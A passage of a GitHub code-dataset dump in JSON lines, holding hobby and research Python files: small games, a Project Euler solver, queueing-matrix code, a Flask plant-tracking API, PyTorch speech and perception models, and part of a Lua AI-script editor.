your_choice_needs[\"water\"]\n # print(resources[\"water\"])\n resources[\"milk\"] -= your_choice_needs[\"milk\"]\n # print(resources[\"milk\"])\n resources[\"coffee\"] -= your_choice_needs[\"coffee\"]\n print(f\"here is your {your_choice}\")\n\n\nuse_coffee_machine = True\ncurrent_money = 0\nwhile use_coffee_machine:\n your_coffee = input(\"what would you like?(espresso/latte/cappuccino): \")\n if your_coffee == \"report\":\n print(resources, current_money)\n else:\n check_result = check_resources(MENU[your_coffee])\n if check_result:\n you_pay = calculate_your_pay()\n charge = MENU[your_coffee][\"cost\"]\n if machine_take_money(you_pay, charge):\n current_money += charge\n machine_make_coffee(your_coffee, MENU[your_coffee][\"ingredients\"])\n\n","repo_name":"xiaoxiaoliu2022/Games","sub_path":"CoffeeMachine/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2817,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"6787575595","text":"import time\nfrom turtle import Screen\nfrom paddle import Paddle\nfrom ball import Ball\nfrom scorecard import Scoreboard\nWIDTH = 1200\nHEIGHT = 800\nBGCOLOR = \"Black\"\nTITLE = \"The Arcade Game\"\n\n\ndef main():\n screen = Screen()\n screen.setup(width=WIDTH, height=HEIGHT)\n screen.bgcolor(BGCOLOR)\n screen.title(TITLE)\n screen.tracer(0)\n\n paddle = Paddle()\n ball = Ball()\n scoreboard = Scoreboard()\n screen.update()\n\n screen.listen()\n screen.onkey(key=\"Up\", fun=paddle.move_right_puddle_up)\n screen.onkey(key=\"Down\", fun=paddle.move_right_puddle_down)\n screen.onkey(key=\"w\", fun=paddle.move_left_puddle_up)\n screen.onkey(key=\"s\", fun=paddle.move_left_puddle_down)\n\n while True:\n time.sleep(0.1)\n if not ball.move(paddle,scoreboard):\n print(\"Game Over\")\n break\n\n screen.update()\n\n\n\n\n\n\n screen.exitonclick()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"SkeyRahaman/Small_Projects","sub_path":"Arcade_game/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":928,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"25330770650","text":"# from __future__ import division\n\noutput = []\n\nclass pentagonal:\n def pentagon(self, n):\n return n * (3 * n - 1) / 2\n\n def __init__(self):\n self.arr = []\n self.length = 0\n self.i = 1\n self.extendN(2)\n\n def extend(self):\n self.length += 1\n self.arr.append(self.pentagon(self.length))\n\n def iterate(self):\n current = self.arr[self.i]\n self.i += 1\n hasNone = True\n for i in self.arr[:self.i - 1]:\n low = current - i\n high = current + i\n while high > self.getMax():\n self.extendN(2)\n if self.inArray(low) and self.inArray(high):\n print(low)\n return low\n if hasNone: return -1\n\n\n def extendN(self, i):\n for i in range(0, i):\n self.extend()\n\n def getMax(self):\n return self.arr[-1]\n\n def inArray(self, n):\n return n in self.arr\n\n\np = pentagonal()\nwhile p.iterate() == -1:\n print(p.getMax())\n\nprint(\"Done\")\n# output = []\n#\n# p = []\n#\n# for i in range(1,1500):\n# print(str(i) + \": \" + str(pentagon(i)))\n# p.append(pentagon(i))\n# for j in reversed(p):\n# if i - j in p:\n# output.append([i,j,i-j,i+j])\n#\n# mini = 999999999\n#\n# for i in output:\n# if i[3] in p and i[2] < mini:\n# mini = i[2]\n#\n# print(mini)\n","repo_name":"milespossing/projectEuler","sub_path":"Python/Completed/p44.py","file_name":"p44.py","file_ext":"py","file_size_in_byte":1369,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"20838828417","text":"import itertools\nfrom sympy import *\n\n\ndef get_D(*lst):\n #print([M*ones(shape(M)[1],1) for M in lst])\n return diag(*sum([M*ones(shape(M)[1], 1) for M in lst], \n zeros(shape(lst[0])[1], 1)))\n# return diag(*sum([ones(1, shape(M)[1])*M for M in lst], \n# zeros(1, shape(lst[0])[1])))\n\n\ndef get_diag_matricies(K, C, B):\n A = C - get_D(C, B)\n I = get_D(K)\n return A, I\n\n\ndef tuples_of_2Darray_from_2Darray_of_tuples(a):\n result = tuple([[] for i in range(len(a[0][0]))])\n for row in a:\n row_r = tuple([[] for i in range(len(a[0][0]))])\n for tup in row:\n for i, e in enumerate(tup):\n row_r[i].append(e)\n for i, r in enumerate(row_r):\n result[i].append(r)\n return result\n\n\ndef get_matricies_from_J_and_transition(J, transition_intensity_function):\n orbit_changes_matrix = [[transition_intensity_function(x, y)\n for x in J] for y in J]\n K, C, B = tuples_of_2Darray_from_2Darray_of_tuples(orbit_changes_matrix)\n return Matrix(K).T, Matrix(C).T, Matrix(B).T\n\n\ndef simplify_to_an_array(*lst):\n result = [simplify(e).tolist() for e in lst]\n return tuple(result)\n\ndef get_ABKI(J, transition_function):\n K, C, B = get_matricies_from_J_and_transition(J, transition_function)\n A, I = get_diag_matricies(K, C, B)\n return simplify_to_an_array(A, B, K, I)\n\n\ndef m_phase_n_execution_transition_generator(M, N, lam, r0, r2, qs, us):\n def diff(z, y): \n i_minus = M \n i_plus = M \n for i, (m, k) in enumerate(zip(z, y)):\n diff = m - k \n if abs(diff) > 1: \n return (M, M), False\n if diff == 1: \n if i_plus == M: \n i_plus = i \n else: \n return (M, M), False\n if diff == -1: \n if i_minus == M: \n i_minus = i \n else: \n return (M, M), False\n return (i_minus, i_plus), True\n\n r1 = 1 - r0 - r2\n def transition(y, z):\n (i_, i), result = diff(z, y)\n ps = (i != M)\n ms = (i_ != M)\n fulls = (sum(y) == N) \n if (result == False):\n return (0, 0, 0)\n if (not ps and not ms):\n input_intensity = lam if fulls else 0\n no_change_intensity_sum = sum([y_*q*u*r1 for y_, q, u in zip(y, qs, us)])\n return (0, no_change_intensity_sum, input_intensity)\n if (ps and not ms and fulls):\n return (0, 0, 0)\n if (ps and not ms and not fulls):\n return (qs[i], qs[i]*lam, 0)\n if (ps and ms):\n return (0, y[i_]*qs[i]*us[i_]*r1, 0)\n if (not ps and ms):\n return (0, y[i_]*r0*us[i_], y[i_]*r2*us[i_])\n return (0, 0, 0)\n\n return transition\n\n\ndef m_phase_n_execution_sum_checker(N):\n def f(v):\n return (sum(v) <= N)\n return f\n\n\ndef m_phase_n_execution_check_all_states(m, n, f):\n return [v for v in itertools.product(range(m), repeat=n) if f(v)]\n\n\ndef m_phase_n_execution_J_gen(M, N):\n return m_phase_n_execution_check_all_states(N+1, M, \n m_phase_n_execution_sum_checker(N))\n \n\ndef m_phase_n_execution_get_ABKI(M, N, lam, r0, r2, qs, us):\n J = m_phase_n_execution_J_gen(M, N)\n transition = m_phase_n_execution_transition_generator(M, N,\n lam, r0, r2, qs, us) \n return get_ABKI(J, transition) \n\n\n","repo_name":"KimalIsaev/CommuneOrbitAlgorithmForMPhase","sub_path":"m_phase_n_execution.py","file_name":"m_phase_n_execution.py","file_ext":"py","file_size_in_byte":3416,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"17081250807","text":"#!/usr/bin/env python3\n\n\nfrom dotenv import load_dotenv\nload_dotenv()\n\n# Remote library imports\nimport os\nfrom flask import Flask, request, session, render_template\nfrom flask_cors import CORS\nfrom flask_migrate import Migrate\nfrom flask_restful import Api, Resource\nfrom flask_sqlalchemy import SQLAlchemy\nfrom sqlalchemy import MetaData\nfrom flask_bcrypt import Bcrypt\nfrom sqlalchemy_serializer import SerializerMixin\n\n# app configuration\napp = Flask(\n __name__,\n static_url_path=\"\",\n static_folder=\"../client/build\",\n template_folder=\"../client/build\")\n\napp.config['SQLALCHEMY_DATABASE_URI'] = os.environ.get('DATABASE_URI')\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\napp.config['SQLALCHEMY_ENGINE_OPTIONS'] = {\"pool_pre_ping\": True} \napp.json.compact = False\n\n# Define metadata, instantiate db\nmetadata = MetaData(naming_convention={\n \"fk\": \"fk_%(table_name)s_%(column_0_name)s_%(referred_table_name)s\",\n})\ndb = SQLAlchemy(metadata=metadata)\nmigrate = Migrate(app, db)\ndb.init_app(app)\n\n# Instantiate REST API\napi = Api(app)\n\n# Instantiate CORS\nCORS(app)\n\n# Instantiate Bcrypt\nbcrypt = Bcrypt(app)\n\n# Local imports\nfrom models import db, User, Post, Plant, user_plant\n\napp.secret_key = b'Q\\xd9\\x0c\\xf0\\xec\\x1e!\\xdb\\xae6\\x08\\x0cuf\\x95\\xf9'\n\n@app.route(\"/\")\n@app.route(\"/\")\ndef index(id=0):\n return render_template(\"index.html\")\n\nclass CheckSession(Resource):\n def get(self):\n user_id = session[\"user_id\"]\n if user_id:\n user = User.query.filter(User.id == user_id).first()\n return user.to_dict(), 200\n\n return {}, 401\n\nclass Login(Resource):\n def post(self):\n username = request.get_json().get(\"username\")\n password = request.get_json().get(\"password\")\n\n user = User.query.filter(User.username == username).first()\n\n if user and user.authenticate(password):\n session[\"user_id\"] = user.id\n\n return user.to_dict(), 200\n \n return {\"error\": \"401 Unauthorized\"}, 401\n\nclass Signup(Resource):\n def post(self):\n username = request.get_json().get(\"username\")\n password = request.get_json().get(\"password\")\n\n if username and password:\n new_user = User(username=username)\n new_user.password_hash = password\n db.session.add(new_user)\n db.session.commit()\n\n session[\"user_id\"] = new_user.id\n\n return new_user.to_dict(), 201\n \n return {\"error\": \"422 Unprocessable Entity\"}, 422\n\nclass Logout(Resource):\n def delete(self):\n session[\"user_id\"] = None\n return {\"message\": \"204: No Content\"}, 204\n\n\nclass Plants(Resource):\n def get(self):\n plants = [plant.to_dict() for plant in Plant.query.all()]\n\n return plants, 200\n\nclass PlantByID(Resource):\n def patch(self, id):\n plant = Plant.query.filter(Plant.id == id).first()\n user = User.query.filter(User.id == session[\"user_id\"]).first()\n\n plant.users.append(user)\n\n db.session.add(plant)\n db.session.commit()\n \n return plant.to_dict(), 202\n\n\n\nclass UserPlants(Resource):\n def get(self):\n plants = Plant.query.join(user_plant).join(User).filter((user_plant.c.user_id == session[\"user_id\"]) & (user_plant.c.plant_id == Plant.id)).all()\n\n plants_serialized = [plant.to_dict() for plant in plants]\n \n if len(plants_serialized) > 0:\n return plants_serialized, 200\n\n else:\n return {\"message\": \"204: No Content\"}, 204\n\n def post(self):\n data = request.get_json()\n user = User.query.filter(User.id == session[\"user_id\"]).first()\n \n new_plant = Plant(\n common_name=data[\"common_name\"],\n scientific_name=data[\"scientific_name\"],\n growing_level=data[\"growing_level\"],\n img=data[\"img\"],\n )\n\n new_plant.users.append(user)\n\n db.session.add(new_plant)\n db.session.commit()\n\n return new_plant.to_dict(), 201\n\nclass UserPlantByID(Resource):\n def get(self, id):\n plant = Plant.query.filter(Plant.id == id).first()\n\n return plant.to_dict(), 200\n \n def patch(self, id):\n data = request.get_json()\n\n plant = Plant.query.filter(Plant.id == id).first()\n\n for attr in data:\n setattr(plant, attr, data[attr])\n\n db.session.add(plant)\n db.session.commit()\n\n return plant.to_dict(), 202\n\n def delete(self, id):\n plant = Plant.query.filter(Plant.id == id).first()\n user = User.query.filter(User.id == session[\"user_id\"]).first()\n\n plant.users.remove(user)\n\n db.session.add(plant)\n db.session.commit()\n\n return {}, 204\n\nclass Posts(Resource):\n def get(self):\n posts = [post.to_dict() for post in Post.query.all()]\n\n return posts, 200\n\n def post(self):\n data = request.get_json()\n user = User.query.filter(User.id == session[\"user_id\"]).first()\n plant = Plant.query.filter(Plant.common_name == data[\"plant\"]).first()\n\n print(user)\n print(plant)\n\n new_post = Post(\n content=data[\"content\"],\n genre=data[\"genre\"],\n img=data[\"img\"],\n user=user,\n plant=plant\n )\n\n print(new_post)\n\n\n db.session.add(new_post)\n db.session.commit()\n\n return new_post.to_dict(), 201\n \n\napi.add_resource(Login, \"/login\", endpoint=\"login\")\napi.add_resource(Signup, \"/signup\", endpoint=\"signup\")\napi.add_resource(Logout, \"/logout\", endpoint=\"logout\")\napi.add_resource(Plants, \"/plants\", endpoint=\"plants\")\napi.add_resource(PlantByID, \"/plants/\", endpoint=\"plants_by_id\")\napi.add_resource(UserPlants, \"/user_plants\", endpoint=\"user_plants\")\napi.add_resource(UserPlantByID, \"/user_plants/\", endpoint=\"user_plant_by_id\")\napi.add_resource(Posts, \"/posts\", endpoint=\"posts\")\napi.add_resource(CheckSession, \"/check_session\", endpoint=\"check_session\")\n\nif __name__ == '__main__':\n app.run(port=5555, debug=False)\n\n","repo_name":"kammau/phase-4-project","sub_path":"server/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":6087,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"20900386382","text":"# -*- coding: utf-8 -*-\n\"\"\"\n.. codeauthor:: Daniel Seichter \n.. codeauthor:: Dominik Höchemer \n\n\"\"\"\nfrom nicr_multi_task_dataset import MultiTaskDataset\nimport numpy as np\nfrom torch.utils.data import Dataset\n\nfrom .img_utils import resize\n\n\nclass MultiTaskDatasetPytorch(Dataset, MultiTaskDataset):\n \"\"\"\n Dataset container class.\n\n Parameters\n ----------\n dataset_basepath : str\n Path to dataset root, e.g. '/datasets/NICR-Multi-Task-Dataset/'.\n set_name : str\n Set to load, should be one of 'train', 'valid' or 'test'.\n transform : pytorch transform (chain)\n Which transformation should be applied before returning a sample\n augmentation : pytorch augmentation (chain)\n Which augmentation should be applied before returning a sample\n \"\"\"\n def __init__(self, dataset_basepath, set_name,\n transform=None, augmentation=None):\n MultiTaskDataset.__init__(self, dataset_basepath, set_name)\n\n self._transform = transform\n self._augmentation = augmentation\n\n def __getitem__(self, index):\n # return self._samples[index]\n split = self._samples[index].basename.split('_')\n sample = {\n 'image': self._samples[index].get_depth_patch(),\n 'is_person': self._samples[index].is_person,\n 'orientation': self._samples[index].orientation,\n 'pose': self._samples[index].posture_class,\n 'dataset': 'nicr-multi-task',\n 'tape_name': self._samples[index].tape_name,\n 'image_id': split[0],\n 'instance_id': split[1],\n 'person_id': self._samples[index].person_name,\n 'walk_pattern_type': '',\n 'category_name': self._samples[index].category_name\n }\n if self._transform:\n sample['image'] = self._transform(sample['image'])\n\n mask = self._samples[index].get_mask_patch()\n mask_resized = resize(mask, (sample['image'].shape[1],\n sample['image'].shape[2]),\n interpolation='nearest')\n mask_resized = mask_resized > 0\n sample['image'][..., np.logical_not(mask_resized)] = 0\n\n if self._augmentation:\n self._augmentation(sample)\n\n return sample\n","repo_name":"TUI-NICR/multi-task-person-perception","sub_path":"src/data/nicr_multi_task_dataset.py","file_name":"nicr_multi_task_dataset.py","file_ext":"py","file_size_in_byte":2383,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"37"} +{"seq_id":"41810740827","text":"\n\nitemScore = {chr(a): a-ord('a')+1 for a in range(ord('a'), ord('z')+1)}\nitemScore.update({chr(a): a-ord('A')+27 for a in range(ord('A'), ord('Z')+1)})\n\nwith open('2022/day3.txt') as reader:\n allLines = list(a.strip() for a in reader.readlines())\n\ntotal = 0\nfor line in allLines:\n c1, c2 = line[:len(line)//2], line[len(line)//2:]\n common = set(c1).intersection(c2)\n total += sum(itemScore[a] for a in common)\nprint(f\"part 1: {total}\")\n\ntotal = 0\nfor i in range(0, len(allLines), 3):\n l1, l2, l3 = allLines[i:i+3]\n common = set(l1).intersection(l2).intersection(l3)\n total += sum(itemScore[a] for a in common)\nprint(f\"part 2: {total}\")\n","repo_name":"mbtown01/advent-of-code","sub_path":"2022/day3.py","file_name":"day3.py","file_ext":"py","file_size_in_byte":658,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"74927555626","text":"# wujian@2018\nimport torch\nimport torch as th\nimport torch.nn as nn\nimport torch.nn.functional as F\n# import seaborn as sns\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pickle\nfrom torchsummary import summary\nfrom dc_crn import DCCRN\n\ndef param(nnet, Mb=True):\n \"\"\"\n Return number parameters(not bytes) in nnet\n \"\"\"\n neles = sum([param.nelement() for param in nnet.parameters()])\n return neles / 10**6 if Mb else neles\ndef foo_conv1d_block():\n nnet = Conv1DBlock(256, 512, 3, 20)\n print(param(nnet))\ndef foo_layernorm():\n C, T = 256, 20\n nnet1 = nn.LayerNorm([C, T], elementwise_affine=True)\n print(param(nnet1, Mb=False))\n nnet2 = nn.LayerNorm([C, T], elementwise_affine=False)\n print(param(nnet2, Mb=False))\ndef foo_conv_tas_net():\n x = th.rand(4, 1000)\n nnet = ConvTasNet(norm=\"cLN\", causal=False)\n # print(nnet)\n print(\"ConvTasNet #param: {:.2f}\".format(param(nnet)))\n x = nnet(x)\n s1 = x[0]\n print(s1.shape)\n\nclass ChannelWiseLayerNorm(nn.LayerNorm):\n \"\"\"\n Channel wise layer normalization\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n super(ChannelWiseLayerNorm, self).__init__(*args, **kwargs)\n\n def forward(self, x):\n \"\"\"\n x: N x C x T\n \"\"\"\n if x.dim() != 3:\n raise RuntimeError(\"{} accept 3D tensor as input\".format(\n self.__name__))\n # N x C x T => N x T x C\n x = th.transpose(x, 1, 2)\n # LN\n x = super().forward(x)\n # N x C x T => N x T x C\n x = th.transpose(x, 1, 2)\n return x\nclass GlobalChannelLayerNorm(nn.Module):\n \"\"\"\n Global channel layer normalization\n \"\"\"\n\n def __init__(self, dim, eps=1e-05, elementwise_affine=True):\n super(GlobalChannelLayerNorm, self).__init__()\n self.eps = eps\n self.normalized_dim = dim\n self.elementwise_affine = elementwise_affine\n if elementwise_affine:\n self.beta = nn.Parameter(th.zeros(dim, 1))\n self.gamma = nn.Parameter(th.ones(dim, 1))\n else:\n self.register_parameter(\"weight\", None)\n self.register_parameter(\"bias\", None)\n\n def forward(self, x):\n \"\"\"\n x: N x C x T\n \"\"\"\n if x.dim() != 3:\n raise RuntimeError(\"{} accept 3D tensor as input\".format(\n self.__name__))\n # N x 1 x 1\n mean = th.mean(x, (1, 2), keepdim=True)\n var = th.mean((x - mean)**2, (1, 2), keepdim=True)\n # N x T x C\n if self.elementwise_affine:\n x = self.gamma * (x - mean) / th.sqrt(var + self.eps) + self.beta\n else:\n x = (x - mean) / th.sqrt(var + self.eps)\n return x\n\n def extra_repr(self):\n return \"{normalized_dim}, eps={eps}, \" \\\n \"elementwise_affine={elementwise_affine}\".format(**self.__dict__)\nclass Conv_regression_up(nn.Module):\n def __init__(self,channel,num,len):\n super(Conv_regression_up, self).__init__()\n self.conv1 = nn.Conv2d(channel,32,kernel_size=3,stride=1,padding=1)\n self.bn1 = nn.BatchNorm2d(32)\n self.conv2 = nn.Conv2d(32, 64, kernel_size=3, stride=1, padding=1)\n self.bn2 = nn.BatchNorm2d(64)\n self.relu= nn.ReLU()\n self.avgpool1=nn.AdaptiveAvgPool2d((int(num/2),int(len/2)))\n self.avgpool2 = nn.AdaptiveAvgPool2d((int(num / 4), int(len / 4)))\n self.flatten = nn.Flatten(2)\n self.linear1 = nn.Linear(int(num/4)*int(len/4),1)\n self.linear2 = nn.Linear(64, 1)\n self.dropout = nn.Dropout(p=0.5)\n\n def forward(self, x):\n x = x.float()\n y = self.relu(self.bn1(self.conv1(x)))\n y = self.avgpool1(y)\n y = self.relu(self.bn2(self.conv2(y)))\n y = self.avgpool2(y)\n y = self.flatten(y)\n y = self.linear1(y)\n y = torch.squeeze(y)\n y = self.linear2(y)\n return y\nclass Conv_regression(nn.Module):\n def __init__(self,channel, length): #(64,7999)\n super(Conv_regression, self).__init__()\n self.conv1 = nn.Conv2d(channel,128,kernel_size=3,stride=1,padding=1)\n self.bn1 = nn.BatchNorm2d(128)\n self.conv2 = nn.Conv2d(128, 256, kernel_size=3, stride=1, padding=1)\n self.bn2 = nn.BatchNorm2d(256)\n self.relu= nn.ReLU()\n self.avgpool1=nn.AdaptiveAvgPool2d(int(length/4))\n self.avgpool2 = nn.AdaptiveAvgPool2d( int(length / 16))\n self.linear1 = nn.Linear(int(length / 16),1)\n self.linear2 = nn.Linear(256, 1)\n\n\n def forward(self, x):\n y = self.relu(self.bn1(self.conv1(x)))\n y = self.avgpool1(y)\n y = self.relu(self.bn2(self.conv2(y)))\n y = self.avgpool2(y)\n y = self.linear1(self.relu(y))\n y = torch.squeeze(y)\n y = self.linear2(self.relu(y))\n return y\n\ndef build_norm(norm, dim):\n \"\"\"\n Build normalize layer\n LN cost more memory than BN\n \"\"\"\n if norm not in [\"cLN\", \"gLN\", \"BN\"]:\n raise RuntimeError(\"Unsupported normalize layer: {}\".format(norm))\n if norm == \"cLN\":\n return ChannelWiseLayerNorm(dim, elementwise_affine=True)\n elif norm == \"BN\":\n return nn.BatchNorm1d(dim)\n else:\n return GlobalChannelLayerNorm(dim, elementwise_affine=True)\nclass Conv1D(nn.Conv1d):\n\n def __init__(self, *args, **kwargs):\n super(Conv1D, self).__init__(*args, **kwargs)\n\n def forward(self, x, squeeze=False):\n if x.dim() not in [2, 3]:\n raise RuntimeError(\"{} accept 2/3D tensor as input\".format(\n self.__name__))\n x = super().forward(x if x.dim() == 3 else th.unsqueeze(x, 1))\n if squeeze:\n x = th.squeeze(x)\n return x\n\nclass Conv1DBlock(nn.Module):\n\n def __init__(self,in_channels=256,conv_channels=512,kernel_size=3,dilation=1,norm=\"cLN\",causal=False):\n super(Conv1DBlock, self).__init__()\n self.conv1x1 = Conv1D(in_channels, conv_channels, 1)\n self.prelu1 = nn.ReLU()\n self.lnorm1 = build_norm(norm, conv_channels)\n dconv_pad = (dilation * (kernel_size - 1)) // 2 if not causal else (dilation * (kernel_size - 1))\n self.dconv = nn.Conv1d(conv_channels,conv_channels,kernel_size,padding=dconv_pad, dilation=dilation,bias=True)\n self.prelu2 = nn.ReLU()\n self.lnorm2 = build_norm(norm, conv_channels)\n self.lnorm3 = build_norm(norm, in_channels)\n self.sconv = nn.Conv1d(conv_channels, in_channels, 1, bias=True)\n self.causal = causal\n self.dconv_pad = dconv_pad\n\n def forward(self, x):\n y = self.conv1x1(x)\n y = self.prelu1(self.lnorm1(y))\n y = self.dconv(y)\n y = self.prelu2(self.lnorm2(y))\n y = self.sconv(y)\n #y = self.prelu2(self.lnorm3(y))\n x = x + y\n return x\n\n\nclass eca_layer(nn.Module):\n \"\"\"Constructs a ECA module.\n Args:\n channel: Number of channels of the input feature map\n k_size: Adaptive selection of kernel size\n \"\"\"\n def __init__(self, k_size=3):\n super(eca_layer, self).__init__()\n self.avg_pool = nn.AdaptiveAvgPool1d(1)\n self.conv = nn.Conv1d(1, 1, kernel_size=k_size, padding=(k_size - 1) // 2, bias=False)\n self.sigmoid = nn.Sigmoid()\n\n def forward(self, x):\n # feature descriptor on the global spatial information\n y = self.avg_pool(x)\n # Two different branches of ECA module\n y = self.conv(y.transpose(-1,-2)).transpose(-1,-2)\n # Multi-scale information fusion\n y = self.sigmoid(y)\n return x * y.expand_as(x)\nclass ConvTasNet(nn.Module):\n def __init__(self,\n L=10, #初始卷积核\n N=64, #初始卷积通道数\n X=8,\n R=4,\n B=64, #1*1卷积通道数\n H=128, #block卷积通道数\n P=3, #block 卷积核\n norm=\"BN\",\n causal=False):\n super(ConvTasNet, self).__init__()\n self.encoder_1d = DCCRN(rnn_units=256,use_clstm=True,kernel_num=[32, 64, 128, 256, 256,256])\n #self.decoder_1d = ConvTrans1D(N, 1, kernel_size=L, stride=L // 2, bias=True)\n # self.conv_regression_up = Conv_regression_up(1,64, 7999)\n self.conv_regression = Conv_regression(64, 7999)\n self.conv_regression3s = Conv_regression(64, 4799)\n self.avgpooling = nn.AdaptiveAvgPool1d(1)\n self.flatten = nn.Flatten()\n self.eca = eca_layer()\n self.linear = nn.Linear(128,1)\n\n def _build_blocks(self, num_blocks, **block_kwargs):\n\n blocks = [Conv1DBlock(**block_kwargs, dilation=(2**b))\n for b in range(num_blocks)]\n return nn.Sequential(*blocks)\n\n def _build_repeats(self, num_repeats, num_blocks, **block_kwargs):\n repeats = [self._build_blocks(num_blocks, **block_kwargs)\n for r in range(num_repeats)]\n return nn.Sequential(*repeats)\n\n def forward(self, x):\n print('input: ', x.size())\n w = F.relu(self.encoder_1d(x))\n print('encoder dccrn: ', w.size())\n y = self.proj(self.ln(w))\n y = self.repeats(y)\n y = self.eca(y)\n y=self.conv_regression3s(y)\n return y\n\n# if __name__ == \"__main__\":\n#\n#\n#\n# a = torch.tensor([[[1, 2, 3]]])\n# # 新建data3.pkl文件准备写入\n# data_output = open('data3.pkl', 'wb')\n# # 把a写入data.pkl文件里\n# pickle.dump(a, data_output)\n# #关闭写入\n# data_output.close()\n# pathname = \"data3.pkl\"\n# fp = open(pathname, \"rb\")\n# x = pickle.load(fp) # x表示当前的矩阵\n# sns.set()\n# ax = sns.heatmap(x, cmap=\"rainbow\") # cmap是热力图颜色的参数\n# plt.show()\n\n","repo_name":"fchest/CSENet","sub_path":"TasNet.py","file_name":"TasNet.py","file_ext":"py","file_size_in_byte":9707,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"37"} +{"seq_id":"9120881600","text":"from __future__ import annotations\n\nimport re\nfrom functools import partial\nfrom pathlib import Path\nfrom typing import TYPE_CHECKING, Dict, List, Optional\n\nfrom soulstruct.base.ai.exceptions import LuaError\nfrom soulstruct.base.project.editors.base_editor import BaseEditor, EntryRow\nfrom soulstruct.base.project.utilities import bind_events, TextEditor, TagData\n\nif TYPE_CHECKING:\n from soulstruct.base.ai.lua_bnd import LuaBND, LuaGoal\n from soulstruct.base.ai.ai_directory import AIDirectory\n\n\nclass AIScriptTextEditor(TextEditor):\n TAGS = {\n \"function_def\": TagData(\"#AABBFF\", r\"function [\\w\\d_]+\", (0, 0)),\n \"lua_word\": TagData(\n \"#FFBB99\",\n r\"(^| )(function|local|if|then|elseif|else|for|while|end|return|and|or|\"\n r\"not|do|break|repeat|nil|until)(?=($| ))\",\n (0, 0),\n ),\n \"lua_bool\": TagData(\"#FFBB99\", r\"[ ,=({\\[](true|false)(?=($|[ ,)}\\]]))\", (1, 0)),\n \"number_literal\": TagData(\"#AADDFF\", r\"[ ,=({\\[-][\\d.]+(?=($|[ ,)}\\]]))\", (1, 0)),\n \"function_call\": TagData(\"#C0E665\", r\"(^|[ ,=({\\[:])[\\w\\d_]+(?=[(])\", (0, 0)),\n \"comment\": TagData(\"#777777\", r\"--.*$\", (0, 0)),\n }\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n # Tag order is carefully set up.\n self.tag_configure(\"suspected_global\", foreground=\"#1FBA58\")\n self.tag_configure(\"outer_scope_name\", foreground=\"#F091FA\")\n self.tag_configure(\"function_arg_name\", foreground=\"#F5B74C\")\n self.tag_configure(\"local_name\", foreground=\"#F97965\")\n self.tag_configure(\"number_literal\", foreground=\"#AADDFF\")\n self.tag_configure(\"function_call\", foreground=\"#C0E665\")\n self.tag_configure(\"function_def\", foreground=\"#AABBFF\")\n self.tag_configure(\"lua_word\", foreground=\"#FFBB99\")\n self.tag_configure(\"lua_bool\", foreground=\"#FFBB99\")\n\n def color_syntax(self, start=\"1.0\", end=\"end\"):\n self._apply_name_tags()\n super().color_syntax(start, end)\n\n def _apply_name_tags(self):\n \"\"\"Find and color local and global variables.\"\"\"\n # Global\n self.highlight_pattern(\n r\"[ ,=({\\[]\\w[\\w\\d_]+(?=($|[ ,)}\\[\\]]))\", tag=\"suspected_global\", start_offset=1, regexp=True\n )\n\n # Outer scope (up-values)\n self.tag_remove(\"outer_scope_name\", \"1.0\", \"end\")\n outer_scope_matches = re.findall(r\"^local ([\\w\\d_]+)[ ]*=\", self.get(\"1.0\", \"end\"), flags=re.MULTILINE)\n for match in outer_scope_matches:\n self.highlight_pattern(\n rf\"[ ,=(\\[]{match}(?=($|[ ,)\\]]))\", tag=\"outer_scope_name\", clear=False, start_offset=1, regexp=True\n )\n self.highlight_pattern(rf\"^{match}(?=($|[ ,)\\]]))\", tag=\"outer_scope_name\", clear=False, regexp=True)\n\n # Function args and locals\n self.tag_remove(\"local_name\", \"1.0\", \"end\")\n start_index = \"1.0\"\n while 1:\n function_index = self.search(r\"^function [\\w\\d_]+\\(\", start_index, regexp=True)\n if not function_index:\n break\n next_function_index = self.search(r\"^function [\\w\\d_]+\\(\", f\"{function_index} lineend\", regexp=True)\n if int(next_function_index.split(\".\")[0]) <= int(function_index.split(\".\")[0]):\n next_function_index = \"end\" # finished searching\n function_text = self.get(function_index, next_function_index)\n\n function_args_match = re.match(r\"^function [\\w\\d_]+\\(([\\w\\d_, \\n]+)\\)\", function_text, flags=re.MULTILINE)\n if function_args_match:\n function_args = function_args_match.group(1).replace(\"\\n\", \"\").replace(\" \", \"\")\n for function_arg in function_args.split(\",\"):\n self.highlight_pattern(\n rf\"[ ,=([]{function_arg}(?=($|[: ,)[]))\",\n tag=\"function_arg_name\",\n start=function_index,\n end=next_function_index,\n clear=False,\n start_offset=1,\n regexp=True,\n )\n\n local_matches = re.findall(r\"[ \\t]local ([\\w\\d_]+)[ ]*=\", function_text, flags=re.MULTILINE)\n for match in local_matches:\n self.highlight_pattern(\n rf\"[\\t ,=({{\\[]{match}(?=($|[ ,)}}\\[\\]]))\",\n tag=\"local_name\",\n start=function_index,\n end=next_function_index,\n clear=False,\n start_offset=1,\n regexp=True,\n )\n\n if next_function_index == \"end\":\n break\n else:\n start_index = next_function_index\n\n\nclass AIEntryRow(EntryRow):\n \"\"\"Container/manager for widgets of a single entry row in the Editor.\"\"\"\n\n master: AIEditor\n\n ENTRY_ANCHOR = \"center\"\n ENTRY_ROW_HEIGHT = 30\n EDIT_ENTRY_ID = True\n ENTRY_TYPE_WIDTH = 5\n ENTRY_TYPE_FG = \"#FFA\"\n ENTRY_ID_WIDTH = 12\n ENTRY_ID_FG = \"#CDF\"\n ENTRY_TEXT_WIDTH = 40\n 